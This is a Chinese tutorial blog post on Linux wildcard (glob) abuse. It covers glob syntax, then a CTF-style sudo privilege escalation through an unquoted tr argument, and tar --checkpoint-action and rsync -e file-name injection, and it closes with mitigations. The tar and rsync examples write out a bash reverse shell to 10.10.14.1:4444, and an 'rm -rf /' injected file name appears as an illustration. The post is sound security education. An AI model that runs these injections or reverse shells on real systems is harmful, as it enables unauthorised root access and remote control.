通配符滥用详解:Linux命令行的潜在风险

在 Linux/Unix 命令行环境里,通配符(Wildcards) ,也叫 globbing patterns,是提升工作效率的一大利器。它能让你用简洁的模式匹配来批量处理文件和路径,极大简化了日常的文件管理。然而,就像任何强大的工具一样,通配符也存在被滥用的风险。当应用程序或脚本未能正确处理通配符展开后的参数时,就可能埋下严重的安全隐患。本文将深入探讨通配符的各种用法,并着重分析 通配符滥用 的原理、典型案例及防范措施,希望能帮助大家在享受通配符便利性的同时,提升对潜在安全风险的认知。


一、通配符基础:简化操作的魔法

通配符的核心思想是利用特殊字符来代表一个或多个未知字符,从而匹配一组符合特定模式的文件名。掌握这些特殊字符的含义,是高效使用命令行的关键。

1.1 ?:匹配单个字符

问号 ? 用来匹配任意一个字符,但不会匹配空字符。它非常适合用来匹配文件名长度固定、只有少数几个字符不同的文件。

范例:

bash 复制代码
# 匹配 a.txt 和 b.txt
$ ls ?.txt
a.txt b.txt

# 匹配两个字符的文件名(比如 ab.txt)
$ ls ??.txt
ab.txt

1.2 *:匹配任意长度的字符

星号 * 是最常用的通配符,它能匹配零个或多个字符。这意味着它可以代表文件名的任何部分,无论是空字符串还是包含多个字符的字符串。

范例:

bash 复制代码
# 匹配所有 .txt 文件
$ ls *.txt
a.txt b.txt ab.txt

# 匹配以 'a' 开头的 .txt 文件
$ ls a*.txt
a.txt ab.txt

1.3 [...]:匹配字符集

方括号 [] 允许你指定一个字符集合,[] 会匹配集合中的任意一个字符。这对于精确匹配特定范围内的文件非常有用。

范例:

bash 复制代码
# 匹配 a.txt 和 b.txt (匹配字符 'a' 或 'b')
$ ls [ab].txt
a.txt b.txt

# 匹配 report1.txt 到 report9.txt (匹配数字 1 到 9)
$ ls report[1-9].txt
report1.txt report2.txt ... report9.txt

此外,[] 也能用来排除特定字符:

  • [^...][!... ]:匹配除指定字符之外的任意一个字符。

范例:

bash 复制代码
# 匹配不以 'a' 开头的 .txt 文件(比如 b.txt)
$ ls [^a].txt
b.txt

1.4 {...}:匹配多个模式(大括号扩展)

大括号 {} 用于匹配多个可选模式 ,模式之间用逗号 , 分隔。跟前面那些通配符不一样,大括号扩展(Brace Expansion)通常是在 Shell 内部完成的,而不是由命令处理。它会直接展开成多个独立的字符串,所以在文件不存在时,它跟 [] 的行为会有些不同。

范例:

bash 复制代码
$ echo {cat,dog}
cat dog

# 大括号可以嵌套,用来生成更复杂的组合
$ echo {j{p,pe}g,png}
jpg jpeg png

[...] 的区别:

一个重要的区别是 [] 是通配符,它在文件系统层面进行匹配。如果匹配的文件不存在,Shell 会把包含 [] 的字符串原样传递给命令,而命令就会报告文件不存在。而 {} 是 Shell 的内置功能,它在命令执行前就会展开成多个独立的参数。如果展开后的文件不存在,那么每个展开后的参数都会被单独处理,并分别报告文件不存在。

bash 复制代码
# 如果 a.txt 和 b.txt 都不存在
$ ls [ab].txt
ls: [ab].txt: No such file or directory
# Shell 认为这是一个文件名,然后命令尝试查找名为 "[ab].txt" 的文件

$ ls {a,b}.txt
ls: a.txt: No such file or directory
ls: b.txt: No such file or directory
# Shell 会把 {a,b}.txt 展开成 "a.txt" 和 "b.txt",然后命令分别尝试查找这两个文件

1.5 {start..end}:匹配连续范围

{start..end} 表示一个连续范围的字符或数字。这在生成序列化的文件名或数据时非常方便。

范例:

bash 复制代码
$ echo {1..5}
1 2 3 4 5

$ echo d{a..d}g
dag dbg dcg ddg

它还能跟逗号 , 组合使用,生成更复杂的序列:

bash 复制代码
$ echo .{mp{3..4},m4{a,b,p,v}}
.mp3 .mp4 .m4a .m4b .m4p .m4v

二、通配符滥用:安全隐患的根源

了解了通配符的强大功能后,我们必须警惕它潜在的滥用风险。通配符滥用的核心原理在于 Bash(或其他 Shell)的一个设计规范:当命令后面跟着通配符(比如 *?)时,Shell 会在执行命令之前,把它们展开成匹配的文件名列表,然后把这个列表作为参数传递给命令。这样做是为了方便用户批量操作文件。

通配符滥用正是利用了 Bash 会把文件名当作命令参数来用这个特点。虽然 Bash 在展开时会处理空格和特殊字符(例如,通过引用或转义来确保文件名中的空格不会被解析成参数分隔符),但一些不安全的应用程序在接收到这些文件名参数后,如果内部没有正确引用或转义,就可能导致漏洞。攻击者可以通过在特定目录下创建恶意命名的文件,来操控目标应用程序的执行行为。

2.1 漏洞原理深入剖析

  1. Shell 展开(Globbing): 当 Shell 遇到通配符时,它会遍历当前目录或指定目录,找到所有匹配该模式的文件名,然后把这些文件名替换掉通配符,形成一个参数列表。
  2. 参数传递: Shell 把展开后的参数列表作为独立的参数传递给目标命令。
  3. 应用程序解析: 目标命令接收这些参数。如果应用程序在处理这些参数时,没有对其中的特殊字符进行适当的引用或转义,或者直接将其作为命令的一部分执行,那么攻击者就能构造恶意文件名,让应用程序执行非预期的操作。

举个例子: 如果一个应用程序接收一个参数,并将其作为子命令的一部分执行,比如 system("echo " + user_input)。如果 user_input 包含 *.txt 这样的通配符,并且目录下存在 a.txt; rm -rf / 这样的文件,那么在 Shell 展开后,echo 命令就可能变成 echo a.txt; rm -rf /,从而导致任意命令执行。

2.2 典型漏洞范例

下面我们通过一个 sudo 配置的例子,来具体说明通配符滥用是如何导致权限提升的。

场景描述:

假设有这样一个 sudo 配置,允许用户无需密码执行 /opt/get_flag 脚本:

复制代码
sudo -l
Matching Defaults entries for user:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User may run the following commands:
    (ALL : ALL) NOPASSWD: /opt/get_flag

/opt/get_flag 脚本内容如下:

sh 复制代码
#!/bin/sh
PATH=/usr/bin:/bin
cd /tmp
cat /root/root.txt | tr -d [A-Za-z0-9]

这个脚本的目的是读取 /root/root.txt 的内容,并通过 tr -d [A-Za-z0-9] 命令删除其中的所有字母、数字和中括号。root.txt 通常只包含特殊字符的 flag

漏洞解析:

问题的核心在于 tr -d [A-Za-z0-9]tr 命令的 -d 选项是用来删除字符集的。理论上,[A-Za-z0-9] 应该被 tr 视为一个字符集,告诉它删除所有字母和数字。

然而,由于 -d 选项的参数 [A-Za-z0-9] 没有用引号包裹 ,在 tr 命令执行之前,Shell 会先读取命令行参数并尝试展开所有匹配项。

如果 /tmp 目录下(因为脚本会 cd /tmp)存在一个名为 A 的文件,Shell 就会把 [A-Za-z0-9] 解析为 A(因为它匹配了 [A-Za-z0-9] 中的 A)。最终,实际执行的命令会变成:

bash 复制代码
cat /root/root.txt | tr -d A

这时,tr 命令就不再删除所有字母、数字和中括号了,而只是删除字符 A。这意味着 root.txt 中的 flag 内容就可能完整地打印出来,从而导致敏感信息泄露。

利用方式:

攻击者只需在 /tmp 目录下创建一个名为 A 的文件,然后执行 sudo /opt/get_flag 就能成功利用。

bash 复制代码
# 在 /tmp 目录下创建文件 A
touch /tmp/A

# 执行被授权的脚本
sudo /opt/get_flag

2.3 其他易受通配符滥用影响的命令

除了 tr,很多命令在处理参数时也可能受到通配符滥用的影响。以下是一些常见的例子,它们通常会尝试解析或执行传入的参数,如果没有正确地沙箱化或引用,就可能被恶意文件名利用。

2.3.1 tar

tar 命令在处理归档文件时,如果传入的参数被视为文件名,而这些文件名又碰巧是 tar 的合法选项,就可能导致任意命令执行

利用方式:

攻击者可以创建带有 tar 选项的文件名,例如 --checkpoint=1--checkpoint-action=exec=sh shell.sh。当 tar 被调用并处理这些文件时,它会把这些文件名解释为自身的选项,从而执行恶意脚本 shell.sh

bash 复制代码
# 假设当前目录是 /tmp
echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" > shell.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ shell.sh

# 假设某个可执行程序(比如一个受限的 sudo 命令)会执行 `tar *`
# 比如:sudo /usr/local/bin/backup_script
# backup_script 内容类似:tar -cvf /tmp/backup.tar *

在这种情况下,tar 命令最终会收到 --checkpoint=1--checkpoint-action=exec=sh shell.sh 作为参数,进而执行反向 Shell。

2.3.2 rsync

rsync 命令同样存在类似的问题。它允许通过 -e 选项指定远程 Shell,如果 -e 后面的参数被恶意文件污染,就可能导致任意命令执行

利用方式:

创建一个名为 -e sh shell.sh 的文件。当 rsync 命令处理通配符时,这个恶意文件名就会被解析为 -e 选项的参数,从而执行 shell.sh

bash 复制代码
# 假设当前目录是 /tmp
echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" > shell.sh
touch "-e sh shell.sh"

# 假设某个可执行程序会执行 `rsync *`
# 比如:sudo /usr/local/bin/sync_data
# sync_data 内容类似:rsync -avz * /mnt/backup

2.4 总结通配符滥用的共性

上述例子都揭示了通配符滥用的共性:

  1. 特权命令执行: 漏洞通常发生在用户被授权执行某个命令(例如 sudo 命令),而该命令内部又会处理通配符。
  2. 不安全的参数处理: 被执行的命令在处理由 Shell 展开的通配符参数时,没有对这些参数进行严格的引用或转义,导致恶意文件名被解释为命令选项或可执行代码。
  3. 可控的环境: 攻击者需要对命令执行的目录有写入权限,以便创建恶意文件。

三、防范通配符滥用的策略

通配符滥用漏洞的根源在于不安全的参数处理。因此,防范措施也应该围绕这个核心问题来制定。

3.1 开发者和系统管理员视角

  1. 始终引用和转义外部输入:

    • 在编写 Shell 脚本时,任何来自外部(例如命令行参数、文件内容、环境变量)的字符串,在作为命令参数使用时都应该使用双引号 "" 或单引号 '' 严格引用。对于可能包含空格或特殊字符的路径,这尤其重要。

    • 范例:

      bash 复制代码
      # 错误示范:可能被通配符滥用
      command $USER_INPUT
      
      # 正确示范:始终引用
      command "$USER_INPUT"
    • 对于更复杂的情况,例如拼接命令字符串,应该使用 printf %qeval 结合适当的引用机制。

  2. 避免在特权命令中使用通配符(Globbing):

    • 如果一个脚本或程序以特权身份(比如 root)运行,并且它需要处理文件,应该尽量避免直接将通配符作为参数传递给内部命令

    • 如果非用不可,请确保目标命令本身是安全的,不会将文件路径解释为选项或命令。

    • 考虑使用 find 命令结合 -exec 选项来处理文件,因为 find -exec 会将文件名作为独立的参数传递,而不是让 Shell 展开。

    • 范例:

      bash 复制代码
      # 错误示范:在特权脚本中直接使用通配符
      # sudo_script.sh
      # cd /tmp
      # rm * # 如果 /tmp 下有 --no-preserve-root 之类的文件,可能导致意想不到的后果
      
      # 更好的做法:使用 find 结合 -exec
      # sudo_script.sh
      # cd /tmp
      # find . -maxdepth 1 -type f -exec rm {} +
  3. 最小权限原则:

    • 只授予用户或脚本最小必要的权限。例如,如果一个脚本只需要删除特定类型的文件,而不是任意文件,就不要赋予它对所有文件的写权限。
    • sudo 配置中,避免使用通配符来匹配命令路径,而是指定精确的命令路径。
    • 错误示范: NOPASSWD: /opt/*_script
    • 正确示范: NOPASSWD: /opt/backup_script
  4. 安全编码实践:

    • 对所有接收外部输入的应用程序进行输入验证和沙箱处理
    • 使用语言内置的函数或库来处理文件路径,而不是手动拼接字符串。
    • 对任何可能执行外部命令的函数(如 system()exec() 系列函数)保持高度警惕,确保传递给它们的参数是安全的。

3.2 用户视角

  1. 谨慎使用 sudo 命令:
    • 只在必要时才使用 sudo,并且只执行信任的、来源明确的命令。
    • 执行 sudo 命令时,要特别注意命令的完整性,避免在命令中直接输入通配符,除非你明确知道该命令如何处理通配符。
  2. 理解命令的参数处理方式:
    • 在使用任何命令之前,了解其参数解析机制,特别是当命令涉及文件操作或执行外部程序时。查阅 man 手册是了解命令行为的最佳方式。
  3. 检查目录内容:
    • 在执行可能受到通配符滥用影响的命令之前,先检查当前目录或目标目录是否存在可疑文件,特别是那些以 - 开头或包含特殊字符的文件名。
    • 例如,在执行 rm * 之前,可以先 ls -A 检查目录内容。

3.3 额外的防护措施

  • 文件系统权限: 限制用户在关键目录(如 /tmp/var/tmp)的写入权限,尤其是在特权命令会切换到这些目录执行操作时。
  • SELinux/AppArmor: 使用强制访问控制(MAC)机制,比如 SELinux 或 AppArmor,对敏感程序和文件进行更细粒度的权限控制,限制它们可以访问的文件和可以执行的操作。
  • 代码审计: 定期对特权程序和脚本进行安全审计,查找潜在的通配符滥用漏洞。

结语

通配符作为命令行操作的强大工具,在提升效率的同时,也带来了潜在的安全风险。它的滥用并非源于通配符本身的设计缺陷,而是因为应用程序或脚本未能正确处理 Shell 展开后的参数。通过深入理解通配符的原理及其在 Shell 中的展开机制,并采取严格的引用、最小权限原则和安全编码实践,我们就能有效防范通配符滥用带来的安全威胁。无论是系统管理员、开发者还是普通用户,都应该提升安全意识,共同构建一个更安全的命令行使用环境。在享受通配符带来便利的同时,时刻保持警惕,确保每一次命令行操作都安全可靠。

相关推荐
AdSet聚合广告1 小时前
APP广告变现,开发者如何判断对接的广告SDK安全合规?
大数据·后端·算法·安全·uni-app
cnfelix2 小时前
LD与AR
linux
程序员的世界你不懂2 小时前
Appium+python自动化(三)- SDK Manager
运维·appium·自动化
小阳睡不醒3 小时前
小白成长之路-计算机网络(四)
linux·运维·计算机网络
Estar.Lee3 小时前
如何使用PHP创建一个安全的用户注册表单,包含输入验证、数据过滤和结果反馈教程。
android·安全·php
password大鸭梨5 小时前
Linux--CentOs 8配置及基础命令
linux·运维·centos
cui_win5 小时前
深入理解 Redis 哨兵模式
运维·redis·哨兵·哨兵故障
IT利刃出鞘5 小时前
Nginx--手写脚本压缩和切分日志(也适用于docker)
运维·nginx·docker
江畔柳前堤5 小时前
PyQt学习系列08-插件系统与模块化开发
运维·开发语言·数据库·python·学习·机器学习·pyqt
Orlando cron6 小时前
Jenkins分配对应项目权限与用户管理
java·运维·jenkins